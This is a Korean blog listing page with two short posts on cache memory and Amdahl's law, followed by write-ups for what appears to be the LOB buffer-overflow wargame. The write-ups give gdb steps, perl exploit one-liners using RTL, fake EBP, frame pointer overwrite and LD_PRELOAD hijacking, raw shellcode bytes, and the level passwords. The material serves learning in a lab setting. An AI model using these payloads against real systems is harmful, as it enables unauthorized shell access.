심심해서 하는 블로그 :: '분류 전체보기' 카테고리의 글 목록 (7 Page)

1. Cache Memory

빠른 CPU, 느린 Memory

프로그램을 CPU 혼자서 수행하는 것이 아니라 메모리도 같이 참여한다. 암달의 법칙을 통해서 CPU 혼자 개선되어야 할 문제가 아니라 메모리도 역시 빨라야 한다는 것도 알게 되었다. 

그래서 우리는 메모리에게 아래 3가지 바라는 점을 적어 보았다.


1) 빠른 속도 : 캐시 메모리는 일반 메모리보다 빠르다.. 하지만 4GB를 캐시 메모리로 사용하면 가격이...

2) 큰 용량 : 메모리의 용량을 키우면 좋지만 역시 가격이...

3) 저렴하게..

인간의 욕심은 끝이 없고...


가격을 비교적 저렴하면서도 속도와 용량을 만족할 수 있게 현대 컴퓨터는 다음과 같은 구조를 갖는다.


용량의 Cache < Main Memory < HDD 순이며 속도는 역순이다.

CPU와 메인 메모리 사이에 캐시 메모리를 두어 CPU가 요청하는 것은 빠른 캐시 메모리에서 바로 전달은 해주면서 속도를 개선하였다. 그리고 HDD의 일부분을 가상메모리로 사용하여 메모리의 부족한 용량을 확장시켜주며 가격은 메인 메모리 전체를 캐시로 바꾸는 것, 메인메모리의 용량을 키우는 것보다 저렴한 고객 맞춤 서비스가 완성되었다. 이러한 성능 개선의 비결은 참조의 지역성이라는 성질 덕분에 발생한다.


Locality of Reference(참조의 지역성)

커피를 자주 마시는 여자친구가 있다. 센스 있는 남자 친구라면 데이트 코스에 꼭 카페를 들려 여자친구와 커피를 마시는 시간을 갖을 것이다. 그리고 카페에서 커피랑 먹으면 맛있는 케이크도 함께 주문하여 건내 줄 것이다. 이처럼 참조의 지역성은 CPU가 한 번 참조한 데이터는 다시 참조할 가능성이 높고 주변의 데이터 역시 참조될 가능성이 높다는 이론이다. 따라서 자주 쓰는 데이터를 캐시에 두고 데이터를 전달할 때 미리 다음에 받을 데이터까지 빠른 저장장치에 둔다면 컴퓨터의 성능이 좋아진다. 그리고 비싼 캐시 메모리의 용량이 굳이 크지 않아도 되니까 가격도 비교적 저렴해지는 효과도 발생한다.


2. Mapping Function

주소가 다르자나??


CPU가 메모리 주소를 사용하여 메모리로 데이터를 받을려고 한다. 하지만 CPU가 쓰는 주소는 가상 메모리 주소로 메모리 입장에서는 외계어다. 따라서 중간에 메모리 관리 장치(MMU)가 가운데에서 번역을 하여 메모리가 알아 먹을 수 있는 물리 주소로 변환을 해준다. 그리고 캐시에 해당 주소에 대한 데이터가 있는지 확인을 하는데 캐시에 데이터를 저장하는 방식에 따라 물리주소를 다르게 해석을 할 수 있다. 


직접 매핑(Direct Mapping)


우선 메인 메모리에서 캐시로 데이터를 저장할 때 참조의 지역성 때문에 한번 퍼낼 때 인접한 곳까지 한꺼번에 캐시 메모리에 저장하고 이 때 단위를 블록(Block)라고 한다. 그리고 캐쉬는 메인 메모리의 몇번째 블록인지를 알려주는 태그(Tag)도 함께 저장한다. 


메모리 주소 중에 가장 뒷부분(붉은색)은 블럭의 크기를 의미한다. 지금 블럭의 크기가 4이므로 뒤의 두자리를 사용하여 블럭의 크기를 표현하였다. 그리고 이 영역은 블럭에 몇 번째에 원하는 데이터가 있는지 보여주는 지표가 되어 준다. 만일 위의 예에서 붉은 영역이 01이라면 블록의 두 번째 내용을 CPU에서 요청한 것이다.


같은 라인에 위치하는 데이터는 파란색 색칠한 영역에 의하여 구별이 가능하다.. 예를 들면 메모리의 첫번째 요소 00000과 다섯번째 주소 00100은 캐시내에 같은 위치에 자리잡고 있어서 구별이 필요로 한데, 앞의 세자리 000과 001로 구별을 할 수 있다. 


이와 같은 요소의 활용은 캐시 메모리에 저장된 데이터 중 내가 원하는 것이 있는지 없는지 확인이 가능하다. 

1. 캐시의 태그와 주소상의 태그가 동일한지 확인한 후 같으면 붉은 영역을 통해 데이터를 읽는다.

2. 만일 태그가 다르다면 메모리에서 데이터를 가지고 온다.


직접 매핑은 위의 사진처럼 캐시에 저장된 데이터들은 메인 메모리에서와 동일한 배열을 가지도록 매핑하는 방법을 말한다. 이와 같은 방식을 사용하기 때문에 매우 단순하고 탐색이 쉽다는 장점이 있다. 하지만 적중률(Hit ratio)가 낮다는 단점이 있다. 반복문을 사용할 건데 같은 라인의 00000을 불렀다가 그다음엔 00100을 부른다면 캐시에 빈번하게 변경이 발생할수 있기 때문이다..



연관 매핑(Associative Mapping)

연관 매핑은 직접 매핑의 단점을 보완하기 위해 등장하였다. 캐시에 저장된 데이터들은 메인 메모리의 순서와는 아무런 관련이 없다. 이와 같은 방식을 사용하기 때문에 캐시를 전부 뒤져서 태그가 같은 데이터가 있는지 확인해야한다. 따라서 병렬 검사를 위해 복잡한 회로를 가지고 있는 단점이 있지만 적중률이 높다는 장점이 있다. 


세트 연관 매핑


직접 매핑의 단순한 회로와 연관 매핑의 적중률 두 개의 장점만을 취하기 위해서 만들어진 방식이다.

각각의 라인들은 하나의 세트에 속해 있다. 세트 번호를 통해 영역을 탐색하므로 연관 매핑의 병렬 탐색을 줄일 수 있다. 그리고 모든 라인에 연관 매핑처럼 무작위로 위치하여 직접매핑의 단점도 보완하였다. 세트 안의 라인 수에 따라 n-way 연관 매핑이라고 한다.(위 그림은 2-way 연관 매핑)





,

1. Performance

처리 시간

여러분이 컴퓨터를 교체하는 대표적인 이유. 바로 프로그램이 실행하는데 걸리는 시간이다. 

간단한 워드 프로세서를 켜는데 하루 반나절이 걸리면 당장 컴퓨터를 교체하러 갈 것이다.

이처럼 컴퓨터의 성능을 측정하는 지표에서 시간이라는 개념은 중요한 개념이다.


그렇다면 처리시간을 어떻게 측정할까? 

우선 CPU에 클럭(Clock)이라는 시계가 존재한다. 우리가 생각하는 시침, 분침, 초침으로 구성된 시계가 아니지만 일정한 진동수(f)의 전기 신호를 통하여 CPU는 정해진 시간에 맞춰서 프로그램을 수행할 수 있다. 또한 이 클럭이 높다는 것은 1초에 CPU 내부의 일을 많이 처리한다는 것을 의미해 CPU의 성능이 좋다는 지표가 된다.


하지만 프로그램이 실행하는 동안 CPU 혼자서 일을 하는 것은 아니다.

Operand Fetch, Instruction Fetch 과정에서 데이터나 명령어를 메인 메모리로부터 반드시 받아 와야하므로

메모리도 프로그램이 실행하는 내내 큰 역할을 한다. 그리고 알다시피 CPU의 속도가 토끼면 메모리의 속도는 나무늘보 수준.. (쥬토피아 보고싶다..)  따라서 명령어를 수행하는 사이클동안 메모리에 접근하는 빈도에 따라프로그램을 처리하는 시간은 달라질 수 있다. 이것을 고려하여 수치적으로 표현 한 것이 CPI(Clock cycles per Instruction)이다. 명령어마다 메모리에 접근하는 빈도가 달라져서 실행시간이 다르기 때문에 프로그램이 실행한 모든 명령어에 대하여 평균값을 구한 것이다. 


위의 두가지 개념을 이용하면 컴퓨터가 프로그램을 수행한 시간은 다음과 같이 표현이 가능하다



여기서 클럭주기는 클럭의 역수이다. 클럭이 높다는 것은 프로그램 수행 시간을 줄이므로 반비례 관계라 역수인 클럭주기를 곱하여 표현하였다. 


MIPS

야구선수 특히 타자들을 비교하는 가장 기본적인 지표는 한 시즌동안 몇개의 안타를 쳤는지 보여주는 타율이다. 컴퓨터도 비슷한 개념으로 이 컴퓨터가 1초동안 몇 개의 프로그램을 처리할수 있는가를 보여주는 지표가 IPS이다. 하지만 컴퓨터의 성능이 좋아지만서 웬만한 컴퓨터는 초당 백만 단위의 계산이 가능해져 지표의 자릿수가 너무 비대해지자 백 만개씩 묶어서 계산하는 MIPS로 대체하였다.




2. Amdhal`s Law

컴퓨터 관련과 학생들에게 견적을 물어보는 이유

자신의 컴퓨터가 느려졌는데 학생이라 가난해서 부품 몇 개만 바꾸고 싶다.

'나 CPU를 지금보다 5배 좋은 걸로 바꾸면 컴퓨터 성능도 5배가 좋아질까?'

질문을 듣는 순간 이러한 질문을 듣는 '내가 어떻게 알아'하며 순간 혈압이 오르고 노이로제에 시달리는 컴퓨터학과 학생들.. 하지만 실은 Amdhal의 법칙을 아는 사람은 대충은 알 수 있다. 


어떤 프로그램이 실행하는 시간 중 CPU가 40% 사용하고 나머지 기기들이 60%를 사용한다고 가정하고

CPU의 성능을 5배 향상을 시켰다고 하고 아래의 Amdhal의 법칙 공식을 이용하여 보자


여기서 f는 프로그램 실행 시간 중 CPU가 사용한 비율이고 N은 성능 향상의 배수이다.


따라서 CPU 성능을 5배 좋은걸 사더라도 1.47배 정도 밖에 성능향상이 발생하지 않는다.

프로그램이 CPU 단독적으로 수행하는 것이 아니라 메모리 등 나머지 장치들도 함께 수행하기 때문에

CPU 혼자 성능이 좋아진다해서 큰 성능 향상을 보여주는 것이 아니다라는 점이다.


따라서 컴퓨터 공학도에게 나 이거 5배로 좋은건데 집에 사용하는 프로그램이 CPU를 사용하는 시간이 전체 사용시간에 xx%이래 성능이 얼마 만큼 향상될까? 이렇게 물어보면 한 1000명중에 1명은 대답해줄지도 모른다. (그 전에 혼자 계산기를 켜서 계산해보는게 좋지않을까..?)

,

1. 취약점



이제 끝이 슬슬 보인다!!!

 

1. main의 return address를 strcpy()의 주소로 한다. 따라서 main()이 종료한 후에 strcpy()가 수행한다.



2. strcpy()는 함수가 수행 완료 후 Retun address가 "AAAA"이다.  strcpy를 활용해서 "AAAA"를 

   RTL로 변경한다.


따라서 현재 strcpy()의 주소를 알아야 하고 argv[2]를 source로 buffer[48]을 dest로 사용할 것이므로 argv[2], buffer의 주소도 알아야 한다.


$ bash2

$ gcc -g -o nightmar1  nightmare.c

$ gdb -q nightmar1

(gdb) print strcpy



strcpy()의 주소 : 0x08048410

이번엔 argv[2], buffer의 주소를 확인하자.

$ cp nightmare.c nightmar1.c

$ vi nightmar1.c

$ gcc -o nightmar1 nightmar1.c

$ ./nightmar1


buffer[48] 주소 : 0xbffffad0

argv[2] 주소 : 0xbffffc56


각각의 RTL 주소는 전 단계를 참고해주세요

1. system() 주소 : 0x40058ae0

2. /bin/sh 의 주소 : 0x400fbff9

3. exit()의 주소 : 0x400391e0


2. Exploit

1. 바로 괴롭힌다.

$ ./nightmare  `perl -e 'print "A"x44, "\x10\x84\x04\x08", "A"x4, "\xd0\xfa\xff\xbf", "\x56\xfc\xff\xbf"'` `perl -e 'print "\xe0\x8a\x05\x40", "\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`


2. 결과

id :  nightmare  passwd : beg for me

 

,

1. 취약점


메인 함수와 5개의 서브함수가 있다. (도, 개, 걸, 윷, 모.. 첨엔 뭔가 싶었다.)

메인 함수에는 Return Address부터 + 100byte 구간을 제외하고 전부 다 0으로 초기화 시켜버린다.

그리고 문제 중간에 공유 라이브러리를 더 이상 사용할 수 없게 막아둔 구역도 있다.

도->개->걸->윷->모 순서 대로 진행 할 수 있으며 모는 system 함수와 매개 변수를 입력 할 수 있다.

무슨 수를 써야 모로 이동할 수 있을까?

 

1. main의 return address를 DO()의 주소로 한다. 그러면 main()이 종료한 후에 DO()가 수행한다.

2. 똑같이 개->걸->윷->모 순으로 return address를 사용한다.

3. MO는 매개변수를 이용할 수 있다. call은 내부적으로 push eip + jip eip 동작을 수행하므로 스택의 크기가      4만큼 늘어난다 따라서 중간에 Dummy 4바이트를 넣어주고 "/bin/sh"의 주소를 그다음에 넣어준다.  


따라서 우리는 도, 개, 걸, 윷, 모의 주소를 알아야 한다.

$ bash2

$ gcc -g -o succubu1  succubus.c

$ gdb -q succubu1

(gdb) print DO

(gdb) print GYE

(gdb) print GUL

(gdb) print YUT

(gdb) print MO



DO()의 주소 : 0x080487ec

GYE()의 주소 : 0x080487bc 

GUL()의 주소 : 0x0804878c

YUT()의 주소 : 0x0804875c

MO()의 주소 : 0x08048724


이제 버퍼의 크기를 알아보자. 소스 코드에 printf("%p\n", buffer)를 추가한다.

$ cp ./succubus.c ./succubsu.c

$ vi ./succubsu.c 

$ gcc -o succubsu succubsu.c
$ ./succubsu `perl -e 'print "A"x44, "\xec\x87\x04\x08","\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08","A"x4 ,"\xc8\xfa\xff\xbf", "/bin/sh"'`



빨간 네모가 buffer의 주소다 우리는 Dummy 44byte + 도,개,걸,윷,모(4*5byte) + dummy 4byte + &ptr (4byte) = 총 72바이트 뒤에 "/bin/sh"가 위치한다 따라서 0xbffffac8가 "/bin/sh"의 주소이다.



2. Exploit

1. 바로 괴롭힌다.(응??!)

$ ./succubus  `perl -e 'print "A"x44, "\xec\x87\x04\x08","\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08","A"x4 ,"\xc8\xfa\xff\xbf", "/bin/sh"'`


2. 결과

id :  succubus  passwd : here to stay

 

,

1. 취약점


저번과 소스코드는 비슷한데 strncpy()를 사용하면서 저번과 같은 문제풀이를 차단하였다.

문제의 힌트로 제시해준 FEBP(Fake EBP)를 사용하여 이 문제를 해결해보자


Fake EBP(FEBP)

저번에 SFP를 변조하면 스택의 기준을 잡고 있는 ebp 레지스터 값이 변화하여 프로그램의 실행흐름이 변화하는 것을 알 수 있었다(FPO 기법). FEBP도 sfp를 변조하여 ebp레지스터를 속여서 공격하는 기법이다.

 

1. leave를 수행하는 과정에서 변조된 SFP를 따라 ebp를 RTL 주소-4 위치에 둔다. 

2. eip는 RET을 하기 위해 Return Address 자리의 leave를 저장하고 다시 leave를 수행하게 된다. 

3. 그 후 두 번째 RET에서 eip는 RTL 코드를 읽어  RTL이 수행한다.

따라서 우리가 필요한 것은 이 프로그램의 leave의 주소, Buffer의 주소가 필요하다.


$ bash2

$ gcc -g -o zombie_assassi1  zombie_assassin.c

$ gdb -q zombie_assassi1

(gdb) disas main


leave의 주소 : 0x080484df 

이제 버퍼의 크기를 알아보자. 두 손을 무겁게 해서..


(gdb) b *main+139 (strncpy() 실행 후)

(gdb) r "`perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\x90"x28,"\xbf\xbf\xbf\xbf", "\xdf\x84\x04\x08"'`"

(gdb) x/60x $esp


빨간 네모가 buffer의 시작지점이다. 따라서 노란 네모의 주소로 EBP를 이동시켜야한다.



각각의 RTL 주소는 이 전 단계를 참고해주세요

system() 주소 : 0x40058ae0

/bin/sh 의 주소 : 0x400fbff9

exit()의 주소 : 0x400391e0

new Return Address : 0x080484df (leave 주소)


2. Exploit

1. 바로 괴롭힌다.(응??!)

$ ./zombie_assassin "`perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\x90"x28,"\xac\xfa\xff\xbf", "\xdf\x84\x04\x08"'`"


2. 결과


id :  zombie_assassin   passwd : no place to hide

정말 레벨을 거듭하면서 느끼지만 공격 기법을 최초로 고안한 사람은 정말 대단하거 같다..

 

,

1. 취약점


ㅋㅋㅋㅋㅋㅋ 아오 ㅋㅋㅋㅋㅋ 이제 RTL에 익숙해 질려하니까 no RTL이래 ㅋㅋㅋㅋ 반동분자 시끼들 ㅠㅠㅠ

일단 첫 번째 stack의 주소를 사용 못하고, 시스템 주소를 사용한 RTL 기법을 사용할 수 없다는 것이다.

하지만 argv[1][47]에만 제약을 했다는 점 고로 "\xbf"나 "\x40"을 제외한 나머지는 사용해도 상관이 없다는 점을 이용하면 된다. 적당한 걸 찾아야 하는데..


$ bash2

$ gcc -g -o assassi1 assassin.c

$ gdb -q assassi1

(gdb) disas main



0x804851e의 RET를 주목하자. RET를 한 후에 RET를 또 만나면 4바이트를 건너 뛰어서 다음의 코드에 접근할 수 있다.  따라서 system()의 주소를 argv[1][51]에 위치시켜서 RET 두 번 만난 애가 이 코드에 접근할 수 있게 Exploit을 해보자 각각의 시스템 주소는 이 전 단계를 참고해주세요

system() 주소 : 0x40058ae0

/bin/sh 의 주소 : 0x400fbff9

exit()의 주소 : 0x400391e0

new Return Address : 0x0804851e


2. Exploit

1. 바로 괴롭힌다.(응??!)

$ ./assassin `perl -e 'print "A"x44,"\x1e\x85\x04\x08", "\xe0\x8a\x05\x40","\xe0\x8a\x05\x40", "\xf9\xbf\x0f\x40"'`


2. 결과


id :  assassin   passwd : pushing me away

정말 레벨을 거듭하면서 느끼지만 공격 기법을 최초로 고안한 사람은 정말 대단하거 같다..

 

,

1. 취약점


popen() : 파이프라인을 생성하는 함수

sscanf() stdin이 아닌 문자열에서 입력을 받는 함수

ldd: 공유 라이브러리를 출력하는 명령어

nm: 오브젝트 파일에 포함되어있는 심볼 리스트를 출력


execve()의 주소는 첫 번째 빨간 네모에서 두 번째 빨간 네모의 각각의 결과의 합이라는 힌트(?)를 

코드 상에 보여주었기 때문에 각각의 빨간 네모의 명령어를 bash2상에서 수행한다.

권한 문제로 assasin파일을 접근조차 할 수 없으므로 ./giant 파일을 통해서 첫 번째 명령어를 수행하자

$ bash2

$ ldd /home/bugbear/giant | grep libc | awk '{print $4}'

$ nm /lib/libc.so.6 | grep __execve | awk '{print $1}'



첫 번째 명령어의 결과로 libc 공유 라이브러리의 메모리 상의 위치를 출력하였고, 두 번쨰는 execve의 명령어의 오프셋(offset)이다 따라서 execve의 주소는 0x40018000 + 0x91d48 = 0x400a9d48임을 알 수 있다. 

(고로 Return Address는 0x400a9d48)


execve(char *path, const char* argv[], char* const envp[])

첫 번째 인자는 "/bin/sh", 두 번째 인자는 "/bin/sh"의 인자 배열의 시작주소 세 번째는 null을 주면 끝이다.

직전 단계에서 이미 한 번 수행해 보았기 때문에 적극적으로 인용하겠다.

/bin/sh 의 주소 : 0x400fbff9 , exit()의 주소 0x400391e0


2. Exploit

1. 이제 필요한 건 execve()의 두 번째, 세 번째 인자다. 

   컴파일과 디버깅을 하기 전에 giant.c 파일에서 권한이 없는 영역을 수정한다.

$ cp giant.c gian1.c

$ vi ./gian1.c

$ gcc -g -o gian1.c "`perl -e 'print "\x48\x9d\x0a\x40"'`" 

$ gdb -q "`perl -e 'print "\x48\x9d\x0a\x40"'`" 



빨간 네모로 수정을 한 후 저장을 한다. 그리고 컴파일 결과물을 /bin/sh의 주소로 한다.

왜냐하면 c에서 execve()의 사용하는 모습으로 확인할 수 있다.



위의 함수에서 char* argv[], 즉 두 번째 인자 역할을 수행할 녀석이 필요한데, 그 역할을 argv[0]로 하면

아주 오래 전에 파일명을 이용한 오버플로우를 수행하였을 때(vampire -> skelton) 메모리 상위에서 바퀴벌레 같이 숨어 있는 두 번째 인자를 획득할 수 있다. 



2. 각설하고 두 번쨰 인자 주소를 찾아보자

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x40'`



오랜만 바퀴벌래?! 

저 부분에서 파일 경로 부분을 제외한 부분을 사용해야 /bin/sh 부분만 남기 때문에 

0xbfffffe9 + 14 = 0xbffffff7 이 두 번째 인자의 주소이다.


3. 세 번째 인자는 두 번째 인자의 마지막 자리 숫자를 바꿔 가면서 null pointer를 찾아 본다. 

(gdb) x/x 0xbffffffc  <- 잡았다 요놈! 


4. 즐거운 괴롭힘 시간~

$ cd ~

$ ln -fs ./giant "`perl -e 'print "\x48\x9d\x0a\x40"'`" 

$ ./"`perl -e 'print "\x48\x9d\x0a\x40"'`"  "`perl -e 'print "A"x44, "\x48\x9d\x0a\x40", "\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\xf7\xff\xff\xbf", "\xfc\xff\xff\xbf" '`"


5. 결과



id :  giant   passwd : one step closer


 

,

1. 취약점


스택의 배신

하나씩 하나씩 새로운 공격기법이 나오기 시작한다. 앞의 레벨은 그냥 맛보기였어 ㅠㅠ

이번엔 스택의 Return Address에 "\xbf"로 시작하면 안된다고 한다. 그리고 문제위에 나와 있는 RTL

함수 스택으로 리턴하는 방식이 아닌 라이브러리로 리턴을 하는 방식이다.


RTL(Return To Library)

그 동안 BOF 원정을 다니면서 주된 공격방식은 함수 스택 내에 쉘코드를 주입하고 Return Address를 조작하여 해당 쉘코드로 이동하게 하여 공격하는 방식을 이용하였다. 이것의 대안으로 나온 Non-executable Stack 등을 우회하기 위한 공격으로 메모리에 상주하고 있는 공유 라이브러리를 이용하여 Return Address를 공유라이브러리의 함수로 덮어버리는 공격으로 쉘코드가 필요 없는 공격 기법이다. 따라서 공격을 성공시키기 위해서 공유 라이브러리 내의 system()함수와 /bin/sh의 주소를 알고 있어야 한다. 


2. Exploit


1. bash2를 사용하고 파일 복사, 컴파일, 디버깅을 수행한다.

$ bash2

$ cp ./bugbear.c /tmp/bugbear.c && cd /tmp

$ gcc -g -o bugbear ./bugbear.c

$ gdb -q ./bugbear


2. 중단점은 처음으로 설정한다. 우리가 알고자 하는것은 system()의 주소이다.

(gdb) b *main+3

(gdb) r 

(gdb) print system

(gdb) print exit



system()의 주소 0x40058ae0 ,exit()의 주소 0x400391e0


3. /bin/sh의 주소를 찾는 소스코드를 작성한다.

$ vi sh_find.c

$ gcc -o sh_find sh_find.c && ./sh_find


/bin/sh의 주소 0x400fbff9


4. 즐거운 괴롭힘 시간~

$ cd ~

$ ./bugbear `perl -e 'print "A"x44, "\xe0\x8a\x05\x40", "\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40"'`

system() 함수는 ebp+8 지점의 값을 읽어와서 수행을 한다. 따라서 ebp+8 지점에 /bin/sh가 존재하여야한다.

그리고 system()함수가 수행한 후 정상적인 종료를 수행하기 위해 /bin/sh 와 system() 사이에 exit()를 둔다.

그럼 함수가 정상적으로 종료된다. 없어도 결과를 산출하는데는 문제가 없지만 Segmentation Fault가 거슬린다면 해두는게 좋다.


6. 결과

id :  bugbear   passwd : new divide


 

,

1. 취약점


앞에 너무 크게 디이고 나서 코드가 짧아지니까 안심이 되는데 이번엔 strncpy를 사용했다.

그리고 힌트에 나와있는 FPO(Frame Pointer Overwriting).. 이번에는 이걸 공부를 하고 돌파해봐야겠다.


FPO(Frame Pointer Overwriting)

Return Address에 기존에 덮어 쓸 수 있었던 기존 문제와 달리 strncpy는 입력의 범위를 한정하는 API라서 Return Address에 덮어 쓸 수가 없다. 이와 같은 경우에 사용할 수 있는 기법인데 조건은 1바이트 오버플로우가 일어나야 하며 서브함수가 반드시 필요하다. 이 오버플로우의 결과로 SFP 값이 변화하게 된다.


정상적인 함수의 진행과정이다 esp 레지스터는 움직이면서 데이터를 읽고 쓰는 일을 수행하고

ebp 레지스터의 경우에는 고정적으로 움직이지 않는 스택의 기준점이 되는 역할을 수행한다.

함수의 에필로그 구간은 leave를 한 후에 ret을 수행하는 것으로 마무리한다 leave는 볼 일 다본 뒤에 SFP에서 읽은 내용을 기반으로 스택 포인터를 재조정한다.


그런데 leave를 하는 과정에서 SFP가 변조가 되어버리면 ebp는 원래 돌아가고자 하는 곳이 아닌 완전 다른 곳으로 이동하게 된다. 그리고 나서 ret가 수행하게 되면 스택의 최상위에 있는 것을 pop해서 eip에 집어 넣는데 공격자는 이 때 eip를 쉘코드로 가리키게 하면서 원하는 공격을 수행하게 된다.


2. Exploit

0. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3


1. bash2를 사용하고 파일을 옮긴 후 디버깅을 한다.

$ bash2

$ cp ./darkknight.c /tmp/darkknight.c && cd /tmp

$ gcc -g -o ./darkknight.c

$ gdb -q ./darkknight


2. 중단점은 problum_child()함수가 strncpy()를 끝낸 시점으로 한다.

(gdb) b *problum_child+21

(gdb) r `perl -e 'print "A"x41'` `perl -e 'print "\x90"x50, "B"x39'`

(gdb) x/50x $espF

(gdp) x/x $ebp


39byte 짜리 쉘코드를 쓰기에는 buffer의 사이즈가 작아서 argv[2]를 활용해서 공격하고자 한다.

(물론 쉘코드 작은 거 어디서 주어와서 쓰면 buffer 내에서도 볼 일 다볼수 있다.)


buffer의 시작 주소는 0xbffffa44, 이동 시킬 곳은 0xbfffc18


3. 고생했다.. 괴롭히자

$ cd ~

$ ./darkknight `perl -e 'print "\x18\xfc\xff\xbf"x10, "\x44"'` `perl -e 'print "\x90"x50, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`



6. 결과

   id :  darkknight   passwd : new attacker

   새로운 기법을 체험할 수 있는 좋은 기회였다..ㅠㅠ 

 

,

1. 취약점



ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 아오 너무하시네 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

이번에는 사실상 Return Address 빼고 0으로 초기화시켜버리는 강력한 녀석이 등장했다.. 

나 혼자 고민하다가는 산으로 가겠다 싶어서 주변사람들의 도움을 통해서  Shared library Hijacking 기법을 이용하면 된다는 것을 알았다.


공유 라이브러리

공유 라이브러리는 함수나 변수들을 프로그램이 시작하기 전에 로드하여 필요로 할 때마다 연동이 되는 동적 라이브러리이다. 상대적인 개념은 정적 라이브러리인데 함수를 사용하기 위한 라이브러리를 실행 프로그램과 통합하여 컴파일 되거나 런타임 시에 메모리에 올라온 실행 파일의 주소 공간에 같이 로드된다.

따라서 공유 라이브러리는 좀 더 융통성이 있지만 쉽게 접근 할 수 있도록 짜여 보안에 문제가 발생한다. 


Shared library Hijacking

정상적인 프로그램의 실행시에 어떤 심볼이 있을 때 공유 라이브러리에 가서 함수나 변수의 정보를 얻어온다.

이걸 악용하여 공격자는 자신 만의 공유 라이브러리를 생성하고 정상적인 루트가 아닌 자신이 만든 공유 라이브러리를 참조하도록 한다. 이러한 공격방식을 Shared library Hijacking이라고 한다.



2. Exploit

0. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3


1. bash2를 사용하고 공유 라이브러리를 위한 c파일을 생성한다.  

$ bash2

$ vi ./lib_attack.c

lib_attack.c의 내용 


2.  gcc로 lib_attack.c를 컴파일한다. 

$ gcc lib_attack.c -fPIC -shared -o `perl -e 'print "A", "\x90"x50, "[ 쉘코드]"'`

-shared 옵션 : 공유 라이브러리를 우선적으로 링크하는 옵션

-fPIC 옵션 : 오브젝트파일 생성시에 심볼들이 어느 위치에 있어도 동작하도록 하는 옵션


3.  환경변수를 export 한다

$ export LD_PRELOAD="`perl -e 'print "/home/skeleton/", "A" "\x90"x50, "[쉘코드]"'`

LD_PRELOAD : 사용자가 원하는 공유 라이브러리를 우선적으로 등록하는 프로그램의 경로

   현재는 작성한 공격 라이브러리를 우선적으로 사용하게 한다. 


4. 디버깅하여 이 라이브러리가 올라간 주소를 확인한다.

$ cp ./golem.c /tmp/golem.c && cd /tmp

$ gcc -g -o ./golem.c

$ gdb -q ./golem 

(gdb) b *main+163

(gdb) r `perl -e 'print "A"x44, "\xbf"x4'`

(gdb) x/1000x $esp-5000



휴.. 찾았다... 새로운 Return Address는 "0xbffff628"으로 하자


5. 고생했다.. 괴롭히자

$ cd ~

$ ./golem `perl -e 'print "A"x44, "\x28\xf6\xff\xbf"'`



6. 결과

   id :  golem   passwd : cup of coffee

   새로운 기법을 체험할 수 있는 좋은 기회였다..ㅠㅠ 


7. 참고 사이트 : http://sosal.tistory.com/125 

                     http://inhack.org/wordpress/?p=1833

 

,